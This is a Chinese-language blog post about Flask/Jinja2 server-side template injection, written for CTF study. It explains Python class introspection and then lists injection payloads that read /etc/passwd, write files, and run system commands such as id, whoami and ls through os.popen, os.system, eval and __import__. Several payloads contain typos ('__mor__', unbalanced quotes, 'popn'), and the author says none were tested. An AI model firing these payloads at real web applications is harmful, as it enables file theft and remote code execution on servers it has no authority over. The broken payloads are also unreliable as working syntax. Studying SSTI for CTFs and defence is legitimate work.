1. 程式人生 > >FLASK模板注入 (SSTI)

FLASK模板注入 (SSTI)

最近的幾次比賽裡,發現有幾道涉及SSTI的題目,之前在護網杯的時候其實就已經碰到過了,但是當時並沒有重視,今天才真的去好好了解了SSTI的原理以及利用方法。

首先,SSTI漏洞引發的原因和大多數web漏洞一樣,對使用者輸入的值過於信任,導致使用者輸入一些惡意程式碼來完成攻擊。而最近碰到的幾個SSTI都是基於 FLASK JINJA2模板的注入,FLASK是由python寫的一個基於JINJA2引擎的web應用框架,其實我對這些框架並不瞭解,但瞭解這些漏洞也算是對自己python理解的進一步提升吧。

Python是面向物件的程式語言,所以同樣有著類,物件和繼承屬性。而這種SSTI就充分利用了這些。

Python中有一個 .__class__ 可以獲取例項對應的類,比如一個空字串 "".__class__就可以獲取到 <type'str'> ,那這個字元串同樣也可以換成列表,元組,字典。

接著就是 __mro__這個屬性可以獲取到當前物件的所有繼承類, 這個屬性返回一個tuple物件,這個物件包含了當前類物件所有繼承的基類,tuple中元素的順序就是MRO(Method Resolution Order) 尋找的順序。或者用__base__這個屬性也可以獲取到基本類。

再往後又涉及到類物件中的方法 __subclasses__(),這個方法會返回類中所有存活子類的引用(不是例項),那如果我們用object類呼叫這個方法的話,就可以返回所有的類物件了。(object類物件是所有類的父類)

 

0 <type 'type'>
1 <type 'weakref'>
2 <type 'weakcallableproxy'>
3 <type 'weakproxy'>
4 <type 'int'>
5 <type 'basestring'>
6 <type 'bytearray'>
7 <type 'list'>
8 <type 'NoneType'>
9 <type 'NotImplementedType'>
10 <type 'traceback'>
11 <type 'super'>
12 <type 'xrange'>
13 <type 'dict'>
14 <type 'set'>
15 <type 'slice'>
16 <type 'staticmethod'>
17 <type 'complex'>
18 <type 'float'>
19 <type 'buffer'>
20 <type 'long'>
21 <type 'frozenset'>
22 <type 'property'>
23 <type 'memoryview'>
24 <type 'tuple'>
25 <type 'enumerate'>
26 <type 'reversed'>
27 <type 'code'>
28 <type 'frame'>
29 <type 'builtin_function_or_method'>
30 <type 'instancemethod'>
31 <type 'function'>
32 <type 'classobj'>
33 <type 'dictproxy'>
34 <type 'generator'>
35 <type 'getset_descriptor'>
36 <type 'wrapper_descriptor'>
37 <type 'instance'>
38 <type 'ellipsis'>
39 <type 'member_descriptor'>
40 <type 'file'>
41 <type 'PyCapsule'>
42 <type 'cell'>
43 <type 'callable-iterator'>
44 <type 'iterator'>
45 <type 'sys.long_info'>
46 <type 'sys.float_info'>
47 <type 'EncodingMap'>
48 <type 'fieldnameiterator'>
49 <type 'formatteriterator'>
50 <type 'sys.version_info'>
51 <type 'sys.flags'>
52 <type 'sys.getwindowsversion'>
53 <type 'exceptions.BaseException'>
54 <type 'module'>
55 <type 'imp.NullImporter'>
56 <type 'zipimport.zipimporter'>
57 <type 'nt.stat_result'>
58 <type 'nt.statvfs_result'>
59 <class 'warnings.WarningMessage'>
60 <class 'warnings.catch_warnings'>
61 <class '_weakrefset._IterationGuard'>
62 <class '_weakrefset.WeakSet'>
63 <class '_abcoll.Hashable'>
64 <type 'classmethod'>
65 <class '_abcoll.Iterable'>
66 <class '_abcoll.Sized'>
67 <class '_abcoll.Container'>
68 <class '_abcoll.Callable'>
69 <type 'dict_keys'>
70 <type 'dict_items'>
71 <type 'dict_values'>
72 <class 'site._Printer'>
73 <class 'site._Helper'>
74 <type '_sre.SRE_Pattern'>
75 <type '_sre.SRE_Match'>
76 <type '_sre.SRE_Scanner'>
77 <class 'site.Quitter'>
78 <class 'codecs.IncrementalEncoder'>
79 <class 'codecs.IncrementalDecoder'>
80 <type 'operator.itemgetter'>
81 <type 'operator.attrgetter'>
82 <type 'operator.methodcaller'>
83 <type 'functools.partial'>
84 <type 'MultibyteCodec'>
85 <type 'MultibyteIncrementalEncoder'>
86 <type 'MultibyteIncrementalDecoder'>
87 <type 'MultibyteStreamReader'>
88 <type 'MultibyteStreamWriter'>

由此可以看到object類的第40號元素就是一個有讀檔案功能的類物件。

所以我們就可以用''.__class__.__mor__[2].__subclasses__()[40]('/etc/passwd').read() 讀取/etc/passwd檔案的內容

''.__class__.__mor__[2].__subclasses__()[40]('/tmp').write('test') 在tmp目錄下寫入一個test檔案?應該是吧

 

然後就是更高階的操作,執行系統命令。object.__subclasses__()[59].__init__.func_globals.linecache

查閱的其他資料,訪問os模組都是從warnings.catch_warnings模組入手的,而這兩個模組分別位於元組中的59,60號元素。__init__用於將物件例項化,func_globals可以看該模組下有哪些globals函式,而linecache可用於讀取任意一個檔案的某一行,而這個函式引用了os模組。

  1. object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()

 

  1. object.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read()

 

  1. object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

 

object.__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全域性函式

  1. object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import_('os').popen('id').read()")

 

  1. object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os).popen('id').read()")

 

  1. object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os).popen('id').read()

 

  1. object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popn('id').read()

 

這些payload都可以實現命令執行。

 

因為還沒有找到SSTI的環境,所以還沒有復現,等找到有相關題目的環境就會搭好來複現一遍,對文章進行例項補充的。